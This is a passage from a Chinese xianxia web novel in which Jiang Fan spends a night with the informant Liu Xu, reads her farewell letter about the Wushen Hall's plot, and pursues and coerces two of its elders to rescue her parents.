御书房外,突然传来值守太监急促的通报声,打破了满室春情,
“宫外有人急报,百花楼的柳絮姑娘遣了贴身侍女前来,说有万分紧急之事,必须立刻面见帝君,迟恐生变!”
旖旎气氛瞬间冰消瓦解,江凡和萧璇月动作同时一僵。
萧璇月迅速推开江凡,手忙脚乱地拢好散开的衣襟,脸上红潮未退。
柳絮?她急遣贴身侍女入宫求见,必有大事!
而且是指明要见江凡!
江凡也瞬间冷静,心头骤然掠过一丝不祥的预感。
柳絮是他与武神殿情报网之间的关键联系人,也是暗中给予他诸多帮助的朋友。
她行事向来谨慎,若非天塌地陷般的大事,绝不可能急召他相见!
“让她进来!不,朕与帝君亲自去见那侍女!”
萧璇月当机立断,一边快速整理好略皱的常服,一边对外沉声吩咐。
她知道柳絮身份敏感,其侍女入宫,必有要事,在御书房内问话更为稳妥。
两人再无暇温存,迅速整理好仪容。
江凡与萧璇月对视一眼,皆看到对方眼中的凝重。
第275章 你这是何苦
很快,一名做普通民女打扮、但眉眼伶俐、神色焦急的少女被带了进来,正是柳絮的贴身侍女小莲。
她见到江凡和萧璇月,立刻跪倒在地,声音带着急切:
“奴婢小莲,拜见陛下,拜见帝君!是柳絮姑娘让奴婢连夜入宫,务必亲手将此物交予帝君,并传一句话!”
说着,她双手高举,掌心托着一枚小巧的羊脂白玉佩。
江凡认得,这是柳絮常佩戴的贴身之物。
江凡接过玉佩,触手温润,却让他心中不安更甚。
“柳姑娘让你传什么话?”他沉声问。
小莲抬起头,眼中含泪,急切道:
“姑娘只说:‘百花楼,顶层雅阁,速来!迟则…恐难再见。’姑娘她…她这几日神色很不对劲。
今日更是将自己关在房中,不许任何人打扰,还让奴婢收拾了一些细软…帝君,求您快去看看姑娘吧!奴婢怕…怕姑娘想不开…”
说到最后,已是泣不成声。
恐难再见?想不开?
柳絮到底遇到了何事?
竟至如此?
联想到她武神殿暗桩的身份,以及近日武神殿的异常动向…
“月儿,我必须立刻去一趟!”
江凡握紧玉佩,对萧璇月急声道。
“快去!”萧璇月毫不犹豫,眼中同样充满担忧,
“带上玄老,小心有诈。朕在宫里等你消息,若有需要,随时调遣禁军!”
“不必带人,我独自去更快。你放心,我有分寸。”
江凡说完,对萧璇月投去一个让她安心的眼神,身形一晃,已化作一道残影穿窗而出。
夜风凛冽,扑面而来。
不过片刻功夫,百花楼那熟悉的轮廓已出现在视线中。
江凡没有惊动任何人,悄无声息地掠上顶层,落在雅阁窗外。
他轻轻叩响了窗棂,窗户很快从里面打开。
柳絮站在窗内,依旧是那身素雅的藕荷色长裙,未施粉黛,青丝松松绾着,面容显得格外苍白憔悴,眼眶微红,似是哭过。
看到窗外的江凡,她眼中瞬间掠过极其复杂的神色。
她侧身让开:“进来说。”
江凡闪身而入,窗户悄然关闭,隔绝了楼下的喧嚣。
雅阁内,熟悉的馨香依旧,却仿佛掺杂了一丝淡淡的悲凉。
“柳姑娘,究竟发生了何事?小莲说…”
江凡迫不及待地开口,目光紧紧锁住柳絮苍白的脸。
柳絮却没有立刻回答。
她走到桌边,拿起酒壶,斟了两杯酒,手微微有些颤抖。
她将其中一杯递给江凡,自己拿起另一杯,却没有喝。
只是垂眸看着杯中晃动的液体,声音很轻:
“江世子…先喝了这杯酒,可好?”
江凡眉头微蹙,接过酒杯,却没有喝,沉声道:
“柳絮,到底怎么了?你告诉我,天大的事,我们一起扛!”
柳絮抬起头,望着他,眼中水光氤氲,嘴角却扯出一抹凄然的弧度,她摇了摇头,语气带着一丝哀求:
“世子,别问。喝了这杯酒,陪我…说说话,好吗?”
见她如此,江凡心中愈发不安。
他仰头,将杯中酒一饮而尽,将空杯放下,上前一步,握住柳絮微凉的手,目光恳切:
“酒我喝了。现在,可以告诉我了吗?柳絮,无论什么事,我都不会丢下你不管。你帮过我那么多次,这个人情,我一直记着。”
听到‘人情’二字,柳絮身体几不可察地颤了一下。
她抬眸,深深地看着江凡,良久,才缓缓开口:
“江世子…你还记得,你欠我一个人情,答应过我,若我有所求,只要不违背道义,你必不会推辞,对吗?”
“是,我记得。”
江凡点头,心中那不祥的预感越来越强烈。
柳絮闭上眼,两行清泪顺着苍白的脸颊滑落。
她再次睁开眼时,眼中已是一片死寂般的平静,她一字一句说道:
“那好。江世子,我柳絮…今日便用这个人情,求你一事。”
她顿了顿,仿佛每一个字都重若千钧:
“求你…与我做一夜夫妻。就这一夜。不要问缘由,不要承诺以后,只要这一夜。天亮之后,你便离开,从此…忘了我,就当你我从未相识。”
“什么?!”
江凡如遭雷击,猛地瞪大眼
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睛,简直不敢相信自己的耳朵!
他怀疑自己出现了幻听,或者是酒意上头产生的错觉!
“柳絮!你、你知道你在说什么吗?!”
“我知道。”
柳絮泪流满面,却固执地重复,声音决绝,
“我很清醒。江世子,我求你,答应我。就用你欠我的那个人情,换这一夜。这是我…唯一求你,也是最后求你的一件事。”
“不行!这绝对不行!”
江凡断然拒绝,握着她的手微微用力,
“柳絮,你告诉我,到底发生了什么事?是不是有人逼你?是不是武神殿用什么东西威胁你?你说出来,我去解决!
什么一夜夫妻,这种荒唐的要求,我绝不能答应!你若愿意,我可以对你负责,给你名分,璇月那边我可以去说,她一定能理解…”
“不!不要!”
柳絮猛地抽回手,连连后退,拼命摇头,泪水纷飞,
“我不要你负责!不要名分!不要你告诉任何人!我只要这一夜!就一夜!江凡,你答应过我的!你不能反悔!”
她情绪激动,胸口剧烈起伏,眼中充满了卑微的祈求与痛苦。
“就当我求你…用我帮你那么多次的情分,求你,就这一夜!过了今夜,我柳絮是生是死,是福是祸,都与你再无干系!你就当…从未认识过柳絮这个人!”
她的话如同重锤,狠狠砸在江凡心上。
是啊,柳絮帮过他太多。
这些情义,他一直铭记于心。
看着柳絮哭得肝肠寸断的模样,江凡的心乱了,也软了。
理智告诉他这不对劲,柳絮定有隐情,可情感上,他却无法对这样状态的她狠心拒绝。
“柳絮…”江凡声音干涩,充满了挣扎与无奈,
“你、你这又是何苦?你若不说出缘由,我如何能…”
“缘由重要吗?”
柳絮打断他,忽然抬手,轻轻解开了自己衣襟最上方的两颗盘扣,露出一小片雪白的锁骨。
她向前一步,靠近江凡,仰起满是泪痕的脸庞,眼中带着一种献祭般的凄美与诱惑,声音低哑:
“江世子…不,江凡。我美吗?”
第276章 做一夜夫妻
江凡呼吸一滞。
平心而论,柳絮很美,是一种与萧璇月的尊贵、周婉如的温婉、塔娜的野性都不同的美。
带着知性的风韵与神秘的幽怨,此刻泪眼婆娑、衣衫微乱的模样,更是我见犹怜,动人心魄。
“柳絮,你…”
“回答我。”柳絮执拗地看着他。
“…美。”江凡喉结滚动,艰难地吐出一个字。
柳絮笑了,笑容凄艳,带着一种解脱般的释然。
她忽然伸手,环住了江凡的脖颈,将自己温软的身子贴近他,红唇凑到他耳边,吐气如兰:
“那就要我…就今晚。不要问,不要想。就当是一场梦。天亮梦醒,各奔东西。这是你欠我的…江凡,别让我…连这最后一个心愿,都落空。”
温香软玉在怀,哀婉凄绝的请求。
江凡的防线,在这一刻,彻底崩溃了。
他明知道这背后定有隐情,明知道这或许是个错误,可看着怀中女子那绝望而期盼的眼神,他终究…狠不下心推开。
他闭上眼,深吸一口气,再睁开时,眼中已是一片深邃。
他缓缓抬手,抚上柳絮冰凉的脸颊,指尖拭去她的泪,声音沙哑:
“好…我答应你。但柳絮,你要记住,过了今夜,我不会当你我从未相识。我会对你负责,无论你愿不愿意。”
柳絮没有回答,只是将脸深深埋进他颈窝,肩膀微微耸动,无声地流泪。
然后,她抬起头,主动吻上了他的唇。
这个吻,冰凉,苦涩,带着诀别的意味,也带着飞蛾扑火般的炽热与绝望。
江凡心中叹息,终是化被动为主动,深深回吻,手臂收紧,将她打横抱起,走向内间的绣床。
红烛摇曳,映照着交织的身影。
柳絮虽然自幼被作为花魁培养,通晓魅惑之术,但真正将自己完全交给心爱之人,却是破天荒头一遭。
她生涩而热情,羞涩而大胆,仿佛要将所有的爱恋、不舍、以及某种深刻的决绝,都倾注在这一夜之中,毫无保留。
江凡亦极尽温柔,引领着她,探索着彼此,用最亲密的方式,试图驱散她心中的哀伤,给予她短暂的温暖与慰藉。
(此处省略三千字...)
这一夜,百花楼顶层的雅阁内,春意无边。
直到后半夜,江凡才拥着怀中沉沉睡去的柳絮,缓缓合上眼睛。
……
天光渐亮,晨曦透过窗棂。
江凡是被窗外隐约的市井喧嚣唤醒的。
他习惯性地伸手向身旁揽去,却捞了个空。
心中蓦地一沉,他猛地睁开眼。
身侧,锦被尚存余温与馨香,但那个昨夜与他痴缠缱绻、泪眼婆娑的女子,已不见了踪影。
枕边空荡荡,只有一方折叠整齐的素白丝帕,上面似乎压着什么东西。
江凡坐起身,拿起丝帕。
丝帕下,是一张折叠的信笺,和那枚昨夜小莲送来的并蒂莲玉佩。
他展开信笺,上面是柳絮清秀却略显凌乱的字迹,墨迹犹新,显然刚写下不久:
【江凡君亲启:见字如晤。】
【君见此信时,絮已远行。莫寻,莫问,莫念。昨夜种种,是絮心甘情愿,无关胁迫,无关恩义,只是絮藏于心,不得不发之私情。得偿所愿,虽死无憾。】
【君不必挂怀,更无须愧疚。你我之间,恩怨两清,情债亦了。絮本浮萍,身如飘絮,命若琴弦,早知终有断时。能于生命尽头,得遇君之光辉,窥见世间真情义胆,已是上天垂怜。】
【与君相识相助,乃至昨夜春风一度,皆是絮此生最快意之事,足慰平生。然絮命薄,福浅缘悭,无法常伴君侧。君乃九天之鹏,当扶摇**,护持家国,善待佳人。】
【絮之微末,愿化清风一缕,遥祝君安。最后,絮有一言,关乎君之安危,不得不告。武神殿已察觉絮数次违逆,与君通信,此番更是让絮取君性命。】
【絮心悦君良久,断不可能执行,命令失效,絮当回武神殿领罚,否则会牵连父母。】
【武神殿对‘玄阴灵体’之追寻,已达癫狂。据絮所知,一位号‘冥骨’的资深长老,已携‘寻灵古鉴’核心碎片,秘密潜入大夏京城,其手中奇物对‘玄阴灵体’感应极强】
【近日波动异常,似已锁定大致方位,不日恐有动作。此长老修为深不可测,远超之前特使,且行事
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诡秘狠辣,为达目的不择手段。君务必万分小心,护好身边之人,尤其是…可能与‘阴寒’、‘体质特异’相关之女子。】
【絮言尽于此。从此山水不相逢,莫道彼此长和短。】
【勿寻。勿念。】
【柳絮绝笔】
信笺从江凡颤抖的手中滑落,飘然坠地。
他脸色瞬间变得无比难看,心中掀起了惊涛骇浪!
柳絮走了!
不告而别!
不是因为胁迫,而是因为…她无法对他下手,违逆了武神殿必杀他的命令!
她回去领罚了!
而她的父母,还在武神殿的控制之中!
她是为了保全父母,也是为了不连累他,才选择独自回去面对那未知的、很可能是死亡结局的惩罚!
而她最后透露的消息,更是让江凡心头蒙上厚厚的阴霾!
武神殿的‘冥骨’长老已携重器潜入京城,‘玄阴灵体’的搜寻已到关键时刻!
目标很可能就在他身边!
萧璇月?姐姐?周婉如?
还是其他什么人?
巨大的愤怒、担忧、愧疚与后怕,瞬间席卷了江凡!
他恨自己昨夜为何没有坚持问出真相!
恨自己明明察觉不对,却还是…
他更恨武神殿的阴毒狠辣,竟将柳絮逼至如此绝境!
“柳絮…你这个傻瓜!谁准你自作主张了!谁要你替我挡灾了!”
江凡低吼一声,一拳狠狠砸在床柱上。
他猛地起身,飞快地穿戴整齐,将那枚并蒂莲玉佩和信笺紧紧攥在手中,眼中寒光凛冽,杀意沸腾。
武神殿!冥骨长老!玄阴灵体!
还有…柳絮!
他一定要救她出来!
无论武神山是龙潭还是虎穴!
无论那冥骨长老有多厉害!
伤害他在意的人,触碰他的逆鳞,就要有承受他雷霆之怒的觉悟!
江凡不再停留,身形穿窗而出,朝着皇宫方向疾射而去。
他必须立刻回宫,与萧璇月商议,调动一切力量,一方面严密防范冥骨长老,保护可能的目标;
另一方面,必须尽快查清柳絮父母被关押的具体位置,制定营救计划!
第277章 出什么事了
江凡回到皇宫,直扑御书房。
沿途宫女太监只见影子掠过,甚至来不及行礼。
御书房的门被他猛地推开,惊动了正在批阅奏折的萧璇月。
“月儿!”
江凡的声音带着急切。
萧璇月搁下朱笔,抬头看他,见他脸色铁青,心中顿时一沉。
她挥手屏退了殿内侍候的宫人,起身走到他面前,沉声问道:
“出什么事了?柳絮那边…”
“柳絮走了。”
江凡深吸一口气,将手中紧攥的并蒂莲玉佩和那张信笺递给萧璇月,同时,用最简洁却清晰的语言,将昨夜在百花楼的经过原原本本地说了出来。
他没有丝毫隐瞒,包括自己半推半就答应了柳絮那荒唐请求的过程。
萧璇月静静地听着,脸色随着江凡的叙述不断变幻。
当听到柳絮竟被武神殿逼迫刺杀江凡时,她凤眸中寒光骤现;
听到柳絮选择违抗命令时,眼中闪过一丝动容与复杂;
听到江凡与柳絮有了肌肤之亲时,她眉头狠狠蹙起,袖中的手微微握紧,胸中涌起一股酸涩与恼意;
而当听到柳絮为保父母、不连累江凡,独自返回武神殿领罚,并留下如此重要的预警时,那份恼意又被深深的震撼、怜悯取代。
她展开那封绝笔信,一字一句读完,指尖微微颤抖。
信中的决绝、凄楚、深情与最后的提醒,字字如刀,刻在人心上。
这个柳絮…看似柔弱,身处泥泞,却有着如此刚烈的情义与牺牲精神!
她为江凡,为大夏,做的实在太多,付出的代价也太大。
殿内陷入一片压抑的寂静。
良久,萧璇月才缓缓抬起头,看向垂首站在面前、忐忑又焦急的江凡。
她深吸一口气,压下心中翻腾的醋意与恼怒,声音带着一丝疲惫:
“你呀…真是处处留情,处处欠下情债。塔娜的事情刚了,这又来了个柳絮…还是用这种方式!”
她有些恨铁不成钢地瞪了江凡一眼,但语气终究软了下来,
“罢了,事已至此,多说无益。柳絮姑娘…情深义重,身处绝境,却宁死不伤你,反而多次相助。
此番更是不惜以身犯险,回去代你受过。这份情义,朕…我记下了。”
她走到江凡面前,伸出手指,轻轻抚平他紧皱的眉头,声音放柔了些:
“我并非不通情理之人。柳絮为你,为大夏做到如此地步,我若再苛责于你,或容不下她,岂非凉薄?我可以接受她,只要她愿意,这后宫,有她一个位置。”
江凡闻言,猛地抬头,眼中充满了感动与愧疚,一把抓住萧璇月的手:
“月儿!谢谢你!我…”
“先别急着谢。”
萧璇月却抽回手,打断他,脸色重新变得凝重,
“问题是,现在连她去了哪里我们都不知道!信中说她回去领罚,武神殿总部神秘莫测,我们连其山门在何处都毫无头绪!如何救她?又如何救她父母?”
这正是江凡此刻最焦心的问题。
他眼中厉色一闪,沉声道:
“柳絮在信中提到,武神殿一位代号‘冥骨’的核心长老,已携带‘寻灵古鉴’的核心碎片秘密潜入京城,目标就是搜寻‘玄阴灵体’。
此人身份特殊,修为高深,在武神殿地位必然不低。只要能找到他,擒下他,或许就能逼问出武神殿总部的具体位置,甚至柳絮和她父母被关押的详情!”
“擒下武神殿的核心长老?”萧璇月眉头紧锁,
“此人既能被派来执行如此重要的任务,实力恐怕非同小可,而且行踪必定极其隐秘。京城百万之众,如何寻找?
况且,那‘玄阴灵体’…究竟是何人?为何引得武神殿如此兴师动众,甚至关乎什么‘长生秘境’?
柳絮信中语焉不详,但显然此事非同小可,若那灵体真在我们身边,或是大夏重要之人,岂不成了武神殿的活靶子?”
江凡摇头,脸上也布满阴霾:
“‘玄阴灵体’具体为何,我也不甚清楚。但听柳絮之前提及,以及武神殿如此不惜代价地搜寻,甚至可能关乎某种突破境界、延长寿命乃至触及长生的惊天机缘。
他们将目标锁定在大夏皇城,说明
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此人很可能就在京城,甚至…就在皇宫附近,或者与我们关系密切之人中。
月儿,若真如此,我们必须早做打算,在武神殿得手之前,揪出这个‘冥骨’长老,同时保护好可能的目标。必要时…恐怕要提前与武神殿正面开战了!”
萧璇月闻言,凤眸中闪过一丝决绝的寒光。
她走到御案后,看着墙上的大夏疆域图,声音冷冽:
“开战便开战!武神殿屡次三番挑衅暗算,如今更将毒手伸向无辜女子。朕岂能容他?只是…”
她转身看向江凡,眼中带着担忧,
“你父亲尚在北境,我担心武神殿若狗急跳墙,会对他不利。”
江凡心中也是一紧。
父亲江撼岳坐镇北境,统帅大军,确实是武神殿可能的目标。
但他沉吟片刻,道:
“父亲那边,我已留下丹药和传讯手段,他自身也即将突破极道宗师,北境大军新胜,士气正旺,武神殿想动他,也没那么容易。
况且,若此时将父亲召回,北境防线空虚,反给北莽可乘之机。父亲…他也不会同意的。开疆拓土,肃清边患,是他毕生所愿。”
萧璇月何尝不明白这个道理。
她叹了口气,走回江凡身边,握住他的手,语气坚定:
“既如此,京城这边,我们必须稳住。柳絮要救,‘冥骨’要抓,‘玄阴灵体’要查,武神殿的威胁更要应对。千头万绪,但步步为营,总能有办法。”
她当即唤来云暮和几名心腹暗卫首领,一连串命令迅速下达:
“云暮,持朕手谕,传令‘暗影卫’全体出动,化整为零,撒遍京城及周边百里,重点排查近日入城、行踪诡秘。
尤其关注携带特殊器物或对阴寒属性敏感之陌生人。有任何可疑线索,不惜代价盯住,但切勿打草惊蛇,即刻回报!”
“着令京兆尹、五城兵马司,以清查户籍、防盗为名,加强对城内各处客栈、民宅、商铺的巡查。
尤其是东城方向,留意是否有两名以上老者与一名年轻女子同行的踪迹。动静可以大,但目的要隐晦。”
第278章 柳絮的消息
“传讯暗卫在京城的其他暗线,不惜暴露,全力打探柳絮姑娘下落,以及任何与‘冥骨’、‘寻灵古鉴’、‘玄阴’相关的消息。告诉他们,这是朕的旨意,办好此事,既往不咎,重重有赏!”
“加强皇宫守备,尤其是后宫各殿,增派供奉巡逻,启动部分防御阵法。没有朕或帝君手令,任何人不得随意出入宫禁。”
命令一道道传出,整个皇宫乃至京城暗处的情报与防卫网络,开始高效运转起来。
安排完这些,萧璇月对江凡道:
“你刚回来,又经历昨夜…之事,先去休息片刻,也去看看塔娜、周姑娘和芷兰姐姐,将情况与她们分说一二,让她们心里有数,近日务必小心,没有要事不要轻易出宫。柳絮之事……暂且不必细说。”
江凡知道这是萧璇月在体贴他,也顾及后宫稳定。
他心中感动,点了点头:
“好。月儿,你也一夜未眠,政务再忙,也要注意休息。”
“朕晓得,你快去吧。”
萧璇月对他露出一个安抚的笑容。
江凡离开御书房,先去了漱玉轩。
塔娜刚刚起身,正在梳妆,见他到来,欣喜异常。
江凡将柳絮带来的危机简要告知,叮嘱她近日务必留在宫中,勤加修炼,提高自保之力。
塔娜经历过南疆之事,深知江湖险恶,郑重点头应下,还反过来宽慰江凡,让他不必过于忧心。
接着,江凡去了周婉如和江芷兰同住的宫殿。
两女正在一起用早膳,见他匆匆而来,都有些惊讶。
江凡同样告知了京城可能潜入强大敌人、需要加强戒备之事,并拿出了早已从系统商城兑换好的、适合她们现阶段修炼的【蕴灵丹】和【护身符】。
【蕴灵丹(地阶中品)】:温和提升真气,固本培元,适合宗师以下武者长期服用。兑换价三十万人气值一瓶(十粒)。
【简易护身玉符(一次性)】:可抵挡极道宗师全力一击,或预警强烈敌意。兑换价五万人气值一枚。
江凡给了周婉如和江芷兰每人一瓶蕴灵丹和两枚护身玉符,又额外给了修为较高的冷月寒一瓶效果更强的【真元丹】和三枚护身符。
他再三叮嘱,近日务必深居简出,护身符随身携带,若有任何异常或心生警兆,立刻捏碎玉符,他会第一时间感知赶到。
周婉如温顺地接过,眼中满是依赖与信任,柔声道:
“世子放心,婉如和芷兰姐姐会照顾好自己的,你也要万事小心。”
江芷兰拿着丹药和玉符,目光复杂地看了江凡一眼,似乎想说什么,但最终还是化为一声轻叹,点了点头:
“知道了,你自己在外面,更要当心。别忘了,你如今不是一个人,身后有我们,有陛下,有大夏。”
江凡心中一暖,重重点头:
“姐,婉如,月寒,你们放心。”
安排好几女,江凡心中稍定,正想回御书房与萧璇月再商议细节,一名小太监却气喘吁吁地跑来:
“帝君!陛下请您速去御书房,有急报!”
江凡心下一凛,身形一晃,已出现在御书房门口。
萧璇月正对着一份刚刚送达的密报,脸色凝重。
见他进来,将密报递给他,快速说道:
“刚刚东城门守将暗中来报,今日天未亮时,确有一辆不起眼的青篷马车出城,持有正规的江南商行路引。
守军例行检查时,车帘掀起一角,看到车内除了一名戴面纱的年轻女子外,还有两名闭目养神、气息沉凝的老者。
守军中有一人曾是江湖子弟,感觉那两名老者气息晦涩,绝非寻常护卫,但对方路引齐全,也未携带违禁之物,只得放行。
马车出了东门,便沿着官道,向东南方向去了。算算时辰,已走了近两个时辰。”
东南方向?
那并非通往北境或西疆,更像是通往江南,或者…绕道前往某个隐秘之地?
柳絮信中只说‘回去领罚’,并未言明是回武神殿总部,难道武神殿在大夏东南方向也有重要据点?
或者说,那冥骨长老的接应点就在东南?
无论如何,这是柳絮离开后最确切的线索!
两个时
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辰,对于普通马车或许已走出数十里,但对江凡而言,全力追赶,未必不能追上!
“月儿,我去追!”
江凡霍然起身,眼中精光爆射。
他不能再等了,多等一刻,柳絮就多一分危险!
那两个老者,很可能就是押送或者监视柳絮的武神殿之人!
萧璇月也知道事态紧急,柳絮生死未卜,且她身上可能还带着更多关于‘玄阴灵体’和武神殿的秘密。
她看着江凡,虽有担忧,却知阻拦不住,也无需阻拦。
她走上前,为他理了理衣襟,目光坚定:
“去吧。以你的速度,定能追上。务必小心,那两名老者恐怕不是易与之辈,很可能就是武神殿派来接应或押送的高手。若能救下柳絮最好,若事不可为,也务必保全自身,从长计议。”
她顿了顿,继续道:
“京城这边你不用担心。‘冥骨’长老的目标是‘玄阴灵体’,在未得手之前,他绝不敢轻举妄动,更不敢公然袭击皇宫。
那等于彻底撕破脸,逼你与他及整个武神殿不死不休。眼下,他还需要暗中行事。我会坐镇宫中,加强戒备,等你回来。”
江凡重重点头,用力抱了抱萧璇月,在她额头落下一吻:
“等我回来。若那‘冥骨’长老敢现身,或京城有任何异动,立刻用我给你的传讯符!”
说完,他不再有丝毫耽搁,身形化作一道流光,冲天而起,朝着京城东南方向,疾射而去!
速度之快,甚至在空中留下了一道短暂的气浪痕迹!
晨光之中,江凡将速度提升到了极致,心中只有一个念头:柳絮,坚持住!我来了!
无论前方是龙潭虎穴,还是刀山火海,我都要把你带回来!
你的情,你的义,你的牺牲,我江凡,绝不会让它白费!
武神殿,若敢伤她一根头发,我必让你——血债血偿!
凛冽的罡风在耳边呼啸,下方的山川、河流、村落飞速后退。
江凡的神识全力铺开,笼罩下方数十里范围,不放过任何一丝可疑的气息与踪迹。
第279章 不是在商量
江凡赶路的同时,心念沉入系统。
【当前人气值:108,500,000】
一亿零八百五十万!
首次突破一亿大关!
看到这个数字,江凡心头一定。
实力才是一切的基础!
面对即将可能直面的武神殿分部,甚至未来可能与整个武神殿的全面冲突,更强的修为至关重要!
他不再犹豫。
“系统,兑换陆地神仙中期境界!”
【叮!消耗人气值100,000,000点!开始灌注陆地神仙中期境界修为与天地感悟…】
轰——!!!
无数玄之又玄的感悟冲刷着他的意识。
体内那已然带上‘道韵’的真元,进一步凝练、升华,变得更加精纯、灵动,与天地灵气的共鸣范围扩大了数倍。
丹田气海仿佛化为了一片微缩的星云,缓缓旋转,蕴含着无穷伟力。
整个突破过程持续了约莫二十息。
当最后一丝能量与感悟融入己身,江凡猛然睁开双眼,眸中仿佛有日月轮转、星辰生灭的异象一闪而逝,随即收敛,归于一片平静。
陆地神仙中期!
实力比之前强了何止数倍!
此刻的他,自信即便不动用【无敌领域】或【体验卡】,仅凭自身修为与对天地之力的掌控,也足以轻松压制甚至击杀寻常的陆地神仙!
“还剩八百五十万人气值,足够应对突发状况。”
江凡感受着体内澎湃欲出的力量,目光更加锐利,锁定东南方向,速度竟然再次飙升了三成!
神识探查的范围也扩大到了五十里!
一亿人气值花得值!
然而,追击并非一帆风顺。
官道之上,车马行人络绎不绝。
江凡依照守将描述的‘青篷马车、两名老者、年轻女子’的特征,一路疾追,同时神识扫过沿途所有符合条件的车辆。
第一辆,是江南富商携家眷归乡,车内老者是管家和账房,女子是小姐,并非柳絮。
第二辆,是告老还乡的京官,车内是老夫老妻和丫鬟。
第三辆,车内空空,只有赶车的老仆。
第四辆,是走镖的镖师队伍伪装的…
每一次满怀希望地接近,又一次次失望。
时间在一点点流逝,江凡心中越发焦急。
柳絮离开已近三个时辰,对方若是快马加鞭,或使用了什么加速符箓、异兽拉车,距离可能已拉开很远。
就在他几乎要怀疑那守将看错,或者对方中途改道时,第五辆进入神识范围的马车,引起了他的注意。
这是一辆看似普通的青篷马车,拉车的两匹马也并非神骏,但马车行进的速度却奇快,远超寻常车辆。
且车轮着地极轻,显然车身经过特殊处理,或者加持了轻身阵法。
更重要的是,车厢内,三道气息!
一道微弱、哀伤,带着熟悉的、属于柳絮的独特波动。
另外两道,则沉凝晦涩,赫然都是极道宗师境界!
其中一人更是达到了极道宗师巅峰!
找到了!
江凡眼中精光爆射,身形在空中一个急转,瞬间俯冲而下,稳稳地落在了官道中央,拦在了那辆疾驰的马车前方十丈处。
“唏律律——!”
车夫大惊失色,急忙勒紧缰绳,两匹骏马人立而起,发出惊恐的嘶鸣,马车猛地一顿,停了下来,激起一片尘土。
“何人挡道?!”
车内,一声苍老而带着不悦的冷喝响起,同时两道凌厉的气机瞬间锁定了拦路的江凡。
车帘被一只枯瘦的手掌掀开,两名身穿灰褐色麻布长袍、面容枯槁的老者先后钻出车厢,冷冷地看向拦路之人。
当看清江凡的容貌,尤其是感受到他身上那毫不掩饰的陆地神仙威压时,两名老者的脸色瞬间变得无比难看,眼中充满了惊骇与难以置信。
“江…江凡?逍遥公子!”
那名极道宗师巅峰的老者失声惊呼,声音颤抖。
他们虽未亲眼见过江凡,但其画像与气息特征早已被武神殿高层下发。
更重要的是,眼前此人那深不可测的威压,与传闻中能斩杀陆地神仙的‘逍遥帝君’完全吻合!
江凡没有理会这两个老者,他的目光,越过他们,投向了车厢内。
车帘缝隙中,隐约可见一道纤细的身影蜷缩在角落,微微颤抖。
“柳絮,出来。”
江凡的声音平静,却带着不容置疑的力量,穿透车厢的阻隔。
车厢内沉默了片刻,随即,车帘被一只微微颤抖的素手掀开。
柳絮低着头,走了出来。
她依旧穿着昨夜的素雅衣裙,发髻有些凌乱,脸上泪痕未干,脸色苍白得近乎透明,眼眸红肿。
在看到江凡的瞬间
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,瞳孔猛然收缩,闪过一丝惊喜,但随即被更深的痛苦、绝望与哀求所取代。
“世子…你…你怎么来了?”
她声音沙哑哽咽,下意识地向前迈了一步,却又硬生生止住,
“你快回去!我不需要你来救!我…我必须回去!”
“回去?回哪里去?武神殿?”
江凡上前一步,目光如炬,紧紧锁住她,
“柳絮,别傻了。你回去只有死路一条!你的父母,我会想办法救出来。相信我。”“不!你不明白!”
柳絮拼命摇头,泪水再次涌出,她指着身旁两名面色阴沉、却不敢妄动的老者,哭道,
“他们是‘刑堂’的执事长老!我父母被关在‘悔过崖’,那里守卫森严,阵法重重,只有他们才知道具体位置和进入方法!
我不回去,不认罪,他们立刻就会处决我父母!世子,你的好意我心领了,但求你…求你让我走吧!别管我了!”
她的声音充满了绝望与哀求,江凡看着她凄楚的模样,心中绞痛,却也更加坚定了救她的决心。
他不再试图说服柳絮,转而看向那两名脸色变幻不定的刑堂长老,声音冰冷:
“带路。去你们关押柳絮父母的地方,或者,去你们这个分部的据点。我要见到人。”
两名长老闻言,脸色瞬间惨白。
带这个煞星去据点?
那跟引狼**、自寻死路有何区别?
可是,面对江凡的恐怖威压,他们连反抗的念头都生不起。
眼前这位,可是能随手捏死陆地神仙的狠人!
“江…江帝君,”
那名极道宗师巅峰的老者勉强稳住心神,声音干涩,
“柳絮父母之事,乃我武神殿内部事务,且有殿主亲自下令关押…您这般强行介入,恐怕…恐怕会引发不可收拾的后果。
不如、不如您高抬贵手,此事作罢,我二人可当做未曾见过您,柳絮也可交由您处置…”
他试图祸水东引,牺牲柳絮,保全自己和据点。
“啪!”
一声清脆的耳光声响起。
那老者甚至没看清江凡如何动作,只觉得脸颊剧痛,整个人横飞出去,撞在路边一棵大树上,口喷鲜血。
江凡缓缓收回手,目光冷冽如冰:
“我不是在跟你们商量。带路,或者,死。带路只需要一个人就够了,明白吗?”
第280章 已经**了
剩下那名极道宗师后期的老者吓得魂飞魄散,噗通一声跪倒在地,连连磕头:
“帝君饶命!帝君饶命!小的带路!小的这就带路!只求帝君饶小的一命!”
被扇飞的老者挣扎着爬起来,眼中充满怨毒,却再不敢多说半句,捂着肿起的脸,踉跄着回到车旁。
柳絮看着这一幕,眼中泪水涟涟,既有对江凡强势的震动,也有对父母安危的极致担忧。
江凡走到她面前,轻轻擦去她脸上的泪,低声道:
“别怕,一切有我。上车,我们一起去。见到你父母,我自有办法。”
他的话语带着一种令人安心的魔力。
柳絮看着他坚定的眼眸,终于,轻轻点了点头,任由江凡扶着她,重新上了马车。
江凡也坐了进去,就坐在柳絮身边,握住她微颤的手。
那两名长老则战战兢兢地坐在车辕上,驱赶马车,调转方向,不再沿官道前行,而是拐入了一条偏僻的山间小道。
马车在山林中颠簸前行,速度不快。
江凡闭目养神,神识却始终锁定着两名长老,同时也警惕地感知着四周。
果然,行至一处三岔路口时,那名被扇了耳光的老者眼中厉色一闪,悄悄从袖中滑出一枚传讯玉符,试图捏碎。
“哼。”
江凡甚至没有睁眼,只是心念微动,一股无形力场瞬间禁锢了那老者的手臂。
随即,一道细若牛毛的真元细针凭空出现,闪电般刺入那老者眉心!
老者身体一僵,眼中神采迅速黯淡,一声未吭,便软软地栽下马车,气息全无。
眉心一点红痕,迅速扩大。
“啊!”
另一名长老吓得亡魂皆冒,差点从车辕上摔下去,看向车厢的眼神充满了恐惧。
“好好带路,别耍花样。否则,他就是你的榜样。”
江凡平淡的声音从车厢内传出,却比任何威胁都更令人胆寒。
“是是是!小的不敢!小的不敢!”
幸存的长老连连磕头,再不敢有任何异动,老老实实地驱车,在复杂的山道中穿行,时而左转,时而右拐,时而似乎还在原地绕圈。
江凡虽未睁眼,但神识早已将沿途地形、气机变化尽收眼底。
他心中冷笑,这分明是一种依托天然地势、结合简单幻阵布置的迷踪阵法,用于隐藏真正的入口。
